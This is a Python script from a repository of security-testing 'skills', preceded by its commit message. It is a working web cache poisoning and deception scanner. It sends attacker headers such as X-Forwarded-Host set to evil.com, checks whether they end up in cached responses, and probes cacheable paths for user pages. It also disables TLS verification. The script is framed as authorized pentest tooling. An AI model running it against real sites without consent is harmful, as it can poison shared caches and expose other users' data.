Files
Anthropic-Cybersecurity-Skills/skills/performing-web-cache-poisoning-attack/scripts/agent.py
T
mukul975 c47eed6a64 Production hardening: security fixes, code quality, 724 skills complete
- Fix 25 shell=True subprocess calls with list-based commands
- Fix 49 verify=False in defensive skills (env-var override)
- Add timeout to 231 HTTP/subprocess/socket calls
- Fix 6 SQL injection patterns with whitelist validation
- Replace 8 __import__() with standard imports
- Remove 701 unused imports across 442 files
- Add authorized-testing disclaimers to all offensive skills
- Complete 11 incomplete skill directories
- Expand 10 stub SKILL.md files with full content
- Fix 2 YAML parse errors in frontmatter
- Fix 5 pre-existing syntax errors
- Convert 22 hardcoded paths/ports to environment variables
- Back up 21 redundant skill pairs to .bak
- Fix 2 global declaration errors
- 724/724 skills with full folder anatomy (SKILL.md + agent.py + api-reference.md + LICENSE)
- 0 compile errors across all 724 agent.py files
2026-03-19 13:26:49 +01:00

222 lines
7.9 KiB
Python

#!/usr/bin/env python3
# For authorized penetration testing and educational environments only.
# Usage against targets without prior mutual consent is illegal.
# It is the end user's responsibility to obey all applicable local, state and federal laws.
"""Web cache poisoning assessment agent using requests and subprocess."""
import sys
import json
import time
import random
import string
try:
import requests
from requests.exceptions import RequestException
except ImportError:
print("Install: pip install requests")
sys.exit(1)
def generate_cache_buster():
"""Generate a unique cache buster parameter."""
return "cb" + "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
def identify_cache_layer(target_url):
"""Identify caching infrastructure from response headers."""
try:
resp = requests.get(target_url, timeout=10, verify=False)
except RequestException as e:
return {"error": str(e)}
headers = dict(resp.headers)
cache_info = {
"url": target_url,
"cache_control": headers.get("Cache-Control", ""),
"x_cache": headers.get("X-Cache", ""),
"cf_cache_status": headers.get("CF-Cache-Status", ""),
"age": headers.get("Age", ""),
"vary": headers.get("Vary", ""),
"x_varnish": headers.get("X-Varnish", ""),
"via": headers.get("Via", ""),
"x_served_by": headers.get("X-Served-By", ""),
"cdn_detected": None,
}
header_text = json.dumps(headers).lower()
if "cloudflare" in header_text or cache_info["cf_cache_status"]:
cache_info["cdn_detected"] = "Cloudflare"
elif "varnish" in header_text:
cache_info["cdn_detected"] = "Varnish"
elif "akamai" in header_text:
cache_info["cdn_detected"] = "Akamai"
elif "fastly" in header_text:
cache_info["cdn_detected"] = "Fastly"
elif "x-amz" in header_text:
cache_info["cdn_detected"] = "AWS CloudFront"
return cache_info
def test_cache_hit_miss(target_url):
"""Determine if responses are being cached by comparing repeated requests."""
cb = generate_cache_buster()
test_url = f"{target_url}?{cb}=1"
results = []
for i in range(3):
try:
resp = requests.get(test_url, timeout=10, verify=False)
results.append({
"request": i + 1,
"x_cache": resp.headers.get("X-Cache", ""),
"cf_cache": resp.headers.get("CF-Cache-Status", ""),
"age": resp.headers.get("Age", ""),
"status": resp.status_code,
})
except RequestException:
pass
time.sleep(1)
return {"test_url": test_url, "results": results}
def test_unkeyed_headers(target_url):
"""Test for unkeyed headers that are reflected in cached responses."""
cb = generate_cache_buster()
base_url = f"{target_url}?{cb}=1"
unkeyed_headers = [
("X-Forwarded-Host", "evil.com"),
("X-Forwarded-Scheme", "http"),
("X-Forwarded-Proto", "http"),
("X-Original-URL", "/admin"),
("X-Rewrite-URL", "/admin"),
("X-Host", "evil.com"),
("X-Forwarded-Server", "evil.com"),
("X-Forwarded-Port", "1337"),
("X-Original-Host", "evil.com"),
("Transfer-Encoding", "chunked"),
]
findings = []
for header_name, header_value in unkeyed_headers:
cb = generate_cache_buster()
test_url = f"{target_url}?{cb}=1"
try:
resp = requests.get(
test_url, headers={header_name: header_value},
timeout=10, verify=False
)
if header_value in resp.text:
poisoned_resp = requests.get(test_url, timeout=10, verify=False)
cached_poison = header_value in poisoned_resp.text
findings.append({
"header": header_name,
"value": header_value,
"reflected": True,
"cached_poison": cached_poison,
"risk": "CRITICAL" if cached_poison else "HIGH",
})
except RequestException:
pass
return findings
def test_cache_key_normalization(target_url):
"""Test cache key normalization issues."""
cb = generate_cache_buster()
tests = []
variations = [
(f"{target_url}?{cb}=1", "Original"),
(f"{target_url}?{cb}=1&utm_source=test", "Extra parameter"),
(f"{target_url}?{cb}=1#fragment", "Fragment"),
(f"{target_url}/?{cb}=1", "Trailing slash"),
]
for url, desc in variations:
try:
resp = requests.get(url, timeout=10, verify=False)
tests.append({
"variation": desc, "url": url,
"status": resp.status_code,
"x_cache": resp.headers.get("X-Cache", ""),
"content_length": len(resp.content),
})
except RequestException:
pass
return tests
def test_cache_deception(target_url):
"""Test for web cache deception vulnerabilities."""
cb = generate_cache_buster()
deception_paths = [
"/account/profile.css",
"/api/user.js",
"/settings.png",
"/dashboard/nonexistent.css",
]
findings = []
for path in deception_paths:
test_url = f"{target_url.rstrip('/')}{path}?{cb}=1"
try:
resp = requests.get(test_url, timeout=10, verify=False)
cache_status = resp.headers.get("X-Cache", resp.headers.get("CF-Cache-Status", ""))
if "HIT" in cache_status.upper() or resp.headers.get("Age"):
findings.append({
"path": path,
"cached": True,
"status": resp.status_code,
"content_type": resp.headers.get("Content-Type", ""),
"risk": "HIGH",
})
except RequestException:
pass
return findings
def run_assessment(target_url):
"""Full web cache poisoning assessment."""
report = {
"target": target_url,
"cache_layer": identify_cache_layer(target_url),
"cache_behavior": test_cache_hit_miss(target_url),
"unkeyed_headers": test_unkeyed_headers(target_url),
"key_normalization": test_cache_key_normalization(target_url),
"cache_deception": test_cache_deception(target_url),
}
critical_count = sum(
1 for f in report["unkeyed_headers"] if f.get("risk") == "CRITICAL"
)
high_count = sum(
1 for f in report["unkeyed_headers"] if f.get("risk") == "HIGH"
) + len(report["cache_deception"])
report["summary"] = {
"cdn": report["cache_layer"].get("cdn_detected", "Unknown"),
"critical_findings": critical_count,
"high_findings": high_count,
"poisonable_headers": [f["header"] for f in report["unkeyed_headers"] if f.get("cached_poison")],
}
return report
def print_report(report):
print("Web Cache Poisoning Assessment")
print("=" * 50)
print(f"Target: {report['target']}")
print(f"CDN: {report['summary']['cdn']}")
print(f"Critical: {report['summary']['critical_findings']}")
print(f"High: {report['summary']['high_findings']}")
if report["summary"]["poisonable_headers"]:
print(f"\nPoisonable Headers:")
for h in report["summary"]["poisonable_headers"]:
print(f" - {h}")
print(f"\nUnkeyed Header Tests:")
for f in report["unkeyed_headers"]:
status = "POISON" if f.get("cached_poison") else ("REFLECTED" if f.get("reflected") else "SAFE")
print(f" {f['header']}: {status} [{f.get('risk', 'N/A')}]")
if report["cache_deception"]:
print(f"\nCache Deception:")
for f in report["cache_deception"]:
print(f" {f['path']}: CACHED ({f['content_type']})")
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else "https://example.com"
result = run_assessment(target)
print_report(result)